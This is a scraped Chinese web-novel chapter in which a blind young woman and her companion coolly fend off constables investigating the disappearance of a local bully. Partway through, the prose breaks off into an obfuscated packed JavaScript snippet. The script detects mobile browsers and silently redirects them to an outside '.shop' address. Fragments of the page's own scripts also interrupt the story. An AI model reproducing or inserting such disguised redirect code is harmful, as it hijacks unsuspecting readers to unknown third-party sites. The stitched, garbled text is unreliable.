文趣网 > 都市小说 > 渡鬼 > 6. 将死
    小儿子三天未曾归家,吴家这才觉出点不对味儿来。

    原因无他,这小子是欺男霸女的惯犯,夜不归宿也就成了常事。

    通常吴正一两天不归家,他老娘只会骂他不知道又去哪鬼混了,干脆死在外面别回来。

    可人真回不来了,全家上下又担心得不得了。

    偏偏在这个档口,有人找到吴家,惊魂未定地大喊:“撞鬼了!吴老爷……撞鬼了了啊!!您快救救他……救救他!!”

    顿时,吴家上下人心惶惶,哭喊不断。

    只是这些跟莘宛的生活一点关系都没有。

    她每天吃好睡好,体重渐增,本就不多的衣裙渐渐有些不够穿了。

    不过莘宛很少出门,平时在院子里就穿单衣,也用不上太多的衣饰。

    而且不知道是不是她的错觉,她总觉得今年夏天没有往常那样难捱。

    屋里的温度比起盛夏,更像是春末,有时候开着窗户小风一吹,凉飕飕的。

    难道是地理位置的原因?

    莘宛想不通,索性不想了,她向来不会难为自己。

    家里的两个婆子跑了,莘宛也没打算再去雇两个新的,左右现在李巍日日在家,家里上上下下都被打理的很周到。

    莘宛坐在窗前,隐隐约约听到前院有交谈声,似乎是隔壁的邻居正在和李巍交代着什么。

    说起来,李巍其实很招老一辈喜欢,邻居家的老太太总夸他能干踏实,是个能过日子的人。

    但这几天李巍都很少出去和邻里打交道,只是一味地围着莘宛打转。

    莘宛不知道他怎么了,上山一趟突然变得粘人许多。

    不过转念一想,这次上山又是暴雨又是狂风,能下山实属不易,李巍再怎么成熟稳重也只是个十八九岁的少年郎而已,后怕是正常的。

    她们这个年纪,如果放在上一世,应该还在上学才对。

    现在却要自己动手,丰衣足食。

    莘宛摇头叹息,虽说上学也不是什么轻松事,可总比朝不保夕的野外求生要好。

    她尚且有母亲给的田产金银傍身,李巍却是无父无母毫无根基只能靠自己打拼。

    思考间,前院的交谈声停了,脚步声越来越近,李巍隔着一道窗子问她:“村里来了个冰户,要买吗?”

    刚才邻居就是在跟他说这事儿。

    莘宛想了想,总觉得今年家里用不上这东西,但这个世界的冰价并不贵,是普通人家能够消费得起的东西,买一些回来也无妨。

    比起这个,莘宛比较好奇另一件事:“怎么会突然有冰户来村子里?”

    她们居住的村落偏远,又坐落在深山中,堪称离群索居,想去镇上都要赶一天一夜的路,冰户来这里根本做不到什么大生意。

    要卖也得去嵩屿县里面找些大客户才行啊。

    李巍顿了顿,回答道:“给山上送货,路过。”

    山上?莘宛了然,是了,山上的那座灵庙也是需要买冰过夏的。

    山上的气温更高,还伴随着成日的降雨,和尚也是人,买冰也在情理之中。

    “那就去弄点回来,”莘宛指了指里屋的抽屉,“这个月的花销小,正好有闲钱拿来买冰。”

    李巍点点头,进屋取了银钱出去。

    要说传来这个世界有什么好处,那必然是环境。

    没有雾霾没有核污染,随便呼吸一口空气都是干净的,井水也能直接喝,等冰买回来,可以试试凿一碗刨冰出来吃。

    莘宛撑着脑袋靠在窗边,陷入了美好的幻想之中。

    然而一声又轻又模糊的呼声打断了她的思绪。

    莘宛愣愣地抬起头,茫然地环顾四周。

    她的听力远比一般人更加敏锐,也算是作为盲人的一点点补偿。

    莘宛专注地竖起耳朵,细细聆听。

    大概十几秒后,又是一声痛呼,这次比上次更清晰,更短促。

    莘宛徒然一惊,下意识倒退两步,脚后跟磕到了凳子腿,发出“咣当”一声闷响。

    她一时间不知道那声音来自房间里还是房间外,也不敢乱动,只能再细细屏息,试图再捕捉到一些动静。

    可是,没有了。

    仿佛风过静湖,只是泛起丝丝涟漪,随后便再度成了一滩死水。

    莘宛僵着身子站了半响,那若有似无的人声再没出现过。

    她摸索着身后的椅子,心有余悸地坐下,捂着胸口喃喃自语:“幻听了?”

    还没等她平复下心境,那股熟悉的感觉再次出现。

    好似游走在密林中的人,突然被猛兽的眼睛锁住,从发丝到脚趾,一寸不漏。

    莘宛下意识将表情收拢,眉眼淡淡,好似什么都没发生过。

    等了会,那森寒诡异的感觉消失了,取而代之的是由远及近的脚步声。

    “人很多,去的稍微久了点。”李巍的声音一如既往,带着点令人心安的低沉。

    莘宛立刻摇头:“没事,先把冰送到地窖里吧。”

    家家户户都挖了地窖,不只是为了存放食物,更是为了在战乱年间躲避祸事。

    不过莘宛虽然知道,但并没去过。

    她看不见东西,上下地窖十分困难,李巍怕她磕碰,从来没让她下去过。

    李巍依言把冰放进地窖,又去了厨房准备晚饭。

    谁知还没等莘宛将身下的椅子焐热,门口又吵吵嚷嚷地来了波人。

    嘈杂的脚步声和吆喝声,夹杂着犬吠和人语,听动静至少有七八个人。

    “有人在家吗?”粗哑的男声在院外响起,语气不算客气,“开门,县里查案的。”

    莘宛眉心一跳。

    查案?查什么案?

    她定了定神,扶着桌沿站起来,朝着门口的方向微微侧头。

    李巍早已听到动静,从厨房里出来径直去开了门,似乎完全不怕外面的人带着官身。

    门一开,外面的人呼啦啦涌进来大半。

    李巍抬起眼,只见为首的是个穿着皂衣的差役,腰间挎着刀,身后跟着几个同样打扮的汉子,还有一个缩头缩脑的中年男人。

    差役进门后目光先在院子里扫了一圈,然后落在李巍身上,上下打量了一番:“你就是李巍?”

    “是我。”李巍的声音不卑不亢,颇为平淡。

    “有人报案,说你与一桩命案有关。”差役说着,从怀里掏出一张纸,抖了抖,“吴正,你可认识?”

    李巍还未答话,屋内的莘宛已经扶着门框走了出来。

    她穿着一身素色的衣裙,白瞳在阳光下泛着浅浅的灰蓝,面容苍白瘦削,看起来弱不禁风。

    “差爷说的是吴正?”莘宛微微蹙眉,语气里带着恰到好处的困惑,“那人我倒是知道,镇上的地痞,前些日子曾来我院外闹过事。敢问他出了什么事?”

    差役看了她一眼,大概没想到这家还有个瞎子,语气稍缓了些:“吴正三日未曾归家,今日有人在你们村口的溪涧边发现了血迹和一截断了的腰带,经吴家人辨认,正是吴正之物。”

    莘宛面色不变,心里却飞快地转了起来。

    她一边想,一边不忘露出惊讶之色:“竟有这等事?村里消息不流通,我们竟从未听说过。”</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743295|209147||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    差役没有直接回答,而是转头看向那一直跟在后面的布衣男子。

    布衣男子被那目光逼得缩了缩脖子,支支吾吾地:“吴正最后一次出门,就是来了你们这个方向……说是要来……来找莘娘子的麻烦……”

    他说到最后几个字时声音越来越小,显然也知道吴正的名声有多臭。

    莘宛闻言,脸上的惊讶转为苦笑,摇了摇头:“差爷,我一个瞎子,手不能提肩不能扛,平日里连院子都很少出。我家相公也不过是个讨口饭吃的手艺人,老实本分,从不与人争执。”

    她说着,微微低下头:“不瞒差爷说,那吴正跟不少人都发生过口角,村里的人躲着他走还来不及,怎会主动招惹?”

    她话没说完,但意思已经很清楚了。

    吴正骚扰过的人不少,怎么就只盯上他们一家?

    差役沉吟片刻,目光又在院子里扫了一圈。

    这小院简陋得很,一眼就能望到头,几间土坯房,一个不大的菜圃,角落里堆着些编了一半的蓑衣和竹篾,实在看不出有什么异常。

    他身后几个差役已经进屋搜查了一遍,出来冲他摇了摇头。

    差役皱起眉头,似乎有些不甘心,又问:“你们昨日在何处?”

    李巍终于开口答道:“在家。”

    “可有人证?”

    “隔壁的王婶子来取过订做的蓑衣。”李巍的回答简洁而清晰,显然对这些事情记得很清楚。

    差役又问了几个问题,李巍和莘宛滴水不漏。

    他找不到任何破绽,脸色渐渐有些难看。

    就在这时,那个一直缩在后面的人突然开口:“差爷!别被他们骗了!吴正跟我说过,他早就盯上莘氏了,隔三差五就来骚扰,村里人都知道!这李巍回来了,他能咽得下这口气?肯定是李巍把吴正给害了!”

    此话一出,院子里安静了一瞬。

    莘宛这次没有急着辩解,只是幽幽叹息了一声。

    溢满了无可奈何。

    没有人会忍心去为难一个瞎子。

    院子里几个围观的村民露出了不屑的神色。

    一个老婆子忍不住啐了一口:“呸!吴正那畜生欺负人家小娘子,还有脸说出头?他要真是个男人,就该自己夹着尾巴做人,别整天做些下作事!”

    “就是!”另一个妇人附和道,“吴正那狗东西死了才好呢!省得祸害乡里!官府有这功夫查案,不如去查查他以前干的那些缺德事!”

    “可不是嘛!前几天他还把王老六家的闺女堵在巷子里,要不是有人路过,还不知道出什么事呢!”

    村民们七嘴八舌地议论起来,越说越激动,矛头纷纷指向吴正平日的所作所为。

    那个告状的布衣男人被怼得面红耳赤,张了几次嘴都说不出话来。

    差役见状,知道今天怕是问不出什么结果了,只能摆了摆手:“行了行了,今日就先这样。若有什么线索,记得来县衙禀报。”

    说完,他一挥手,带着人转身离去。

    那几个村民见官府的人走了,又安慰了莘宛几句,也各自散了。

    院子里重新安静下来。

    李巍侧眸去看莘宛的脸。

    她很平静,口齿伶俐,思路清晰,似是完全不怕那些人上门问罪。

    “好饿……你锅里是不是还做了东西?”莘宛转过头来,一双白瞳直直地落尽李巍眸中。

    李巍牵起她的手往屋里走:“嗯,清蒸草鱼。”

    莘宛下意识咽了咽口水:“晚上多给我盛一碗。”

    李巍垂下眼,虚虚地揽着她的腰:“好。”